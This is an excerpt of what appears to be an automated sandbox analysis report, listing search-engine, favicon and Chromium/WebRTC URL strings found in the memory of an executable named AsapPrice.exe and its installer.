Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://l.twimg.com/i/hpkp_report
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://l.twimg.com/i/hpkp_report0
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://linkurystoragenorthus.blob.core.windows.net/static/favicon.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://linkurystoragenorthus.blob.core.windows.net/static/favicon.icohttp://search.snapdo.com/?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://ms1.iol.it/graph_hf/v.8.3.04/themes/default/img/favicon.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://ms1.iol.it/graph_hf/v.8.3.04/themes/default/img/favicon.icohttp://arianna.libero.it/search/ab
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://nigma.ru/?s=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://nigma.ru/themes/nigma/img/favicon.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://nigma.ru/themes/nigma/img/favicon.icohttp://nigma.ru/?s=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://nova.rambler.ru/search?query=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://nova.rambler.ru/suggest?v=3&query=
Source: LN1lgDlZ8e.exe, 00000001.00000000.1435158272.000000000040A000.00000008.00000001.01000000.00000003.sdmpString found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://ok.hu/gfx/favicon.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://ok.hu/gfx/favicon.icohttp://ok.hu/katalogus?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://ok.hu/katalogus?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://pesquisa.sapo.pt/?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://pesquisa.sapo.pt/livesapo?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://radce.centrum.cz/?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://report-example.test/test
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://search.avg.com/favicon.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://search.avg.com/favicon.icohttp://search.avg.com/search?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://search.avg.com/search?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://search.babylon.com/favicon.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://search.babylon.com/favicon.icohttp://search.babylon.com/home?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://search.babylon.com/home?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://search.imesh.net/favicon.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://search.imesh.net/favicon.icohttp://search.imesh.net/music?hl=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://search.imesh.net/music?hl=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://search.iminent.com/?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://search.iminent.com/Shared/Images/favicon_gl.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://search.iminent.com/Shared/Images/favicon_gl.icohttp://search.iminent.com/?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://search.incredibar.com/favicon.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://search.incredibar.com/favicon.icohttp://search.incredibar.com/search.php?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://search.incredibar.com/search.php?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://search.snapdo.com/?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://search.softonic.com/?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://search.softonic.com/img/favicon.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://search.softonic.com/img/favicon.icohttp://search.softonic.com/?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://search.sweetim.com/favicon.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://search.sweetim.com/favicon.icohttp://search.sweetim.com/search.asp?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://search.sweetim.com/search.asp?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://search.tut.by/?ru=1&query=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://search.tut.by/favicon.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://search.tut.by/favicon.icohttp://search.tut.by/?ru=1&query=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://search.walla.co.il/?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://searchfunmoods.com/favicon.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://searchfunmoods.com/favicon.icohttp://searchfunmoods.com/results.php?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://searchfunmoods.com/results.php?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://start.sweetpacks.com/favicon.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://start.sweetpacks.com/favicon.icohttp://start.sweetpacks.com/search.asp?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://start.sweetpacks.com/search.asp?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://static.mediacentrum.sk/katalog/atlas.sk/images/favicon.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://static.mediacentrum.sk/katalog/atlas.sk/images/favicon.icohttps://hladaj.atlas.sk/fulltext/?p
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://szukaj.wp.pl/szukaj.html?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://www.conduit.com/favicon.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://www.conduit.com/favicon.icohttp://www.conduit.com/search?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://www.conduit.com/search?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://www.delfi.lv/search_all/?ie=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://www.delta-search.com/favicon.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://www.delta-search.com/favicon.icohttp://www.delta-search.com/home?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://www.delta-search.com/home?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://www.ietf.org/id/draft-holmer-rmcat-transport-wide-cc-extensions-01
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://www.neti.ee/api/suggestOS?suggestQuery=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://www.neti.ee/cgi-bin/otsing?query=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://www.neti.ee/favicon.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://www.neti.ee/favicon.icohttp://www.neti.ee/cgi-bin/otsing?query=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://www.searchnu.com/favicon.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://www.searchnu.com/favicon.icohttp://www.searchnu.com/web?hl=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://www.searchnu.com/web?hl=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://www.walla.co.il/favicon.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://www.walla.co.il/favicon.icohttp://search.walla.co.il/?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://www.webrtc.org/experiments/rtp-hdrext/abs-capture-time
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://www.webrtc.org/experiments/rtp-hdrext/abs-send-time
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://www.webrtc.org/experiments/rtp-hdrext/generic-frame-descriptor-00
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://www.webrtc.org/experiments/rtp-hdrext/transport-wide-cc-02
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://ac.search.naver.com/nx/ac?of=os&ie=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://alekberg.net/privacy
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://alekberg.net/privacyalekberg.net
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://aomediacodec.github.io/av1-rtp-spec/#dependency-descriptor-rtp-header-extension
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://api.oceanhero.today/suggestions?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://api.qwant.com/api/suggest/?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://ar.search.yahoo.com/favicon.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://ar.search.yahoo.com/favicon.icohttps://ar.search.yahoo.com/search
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://ar.search.yahoo.com/search
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://ar.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://at.search.yahoo.com/favicon.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://at.search.yahoo.com/favicon.icohttps://at.search.yahoo.com/search
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://at.search.yahoo.com/search
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://at.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://au.search.yahoo.com/favicon.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://au.search.yahoo.com/favicon.icohttps://au.search.yahoo.com/search
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://au.search.yahoo.com/search
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://au.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://br.search.yahoo.com/favicon.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://br.search.yahoo.com/favicon.icohttps://br.search.yahoo.com/search
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://br.search.yahoo.com/search
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://br.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=1178
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=1178depth32float-stencil8Support
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=1197
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=1197shader-f16Supports
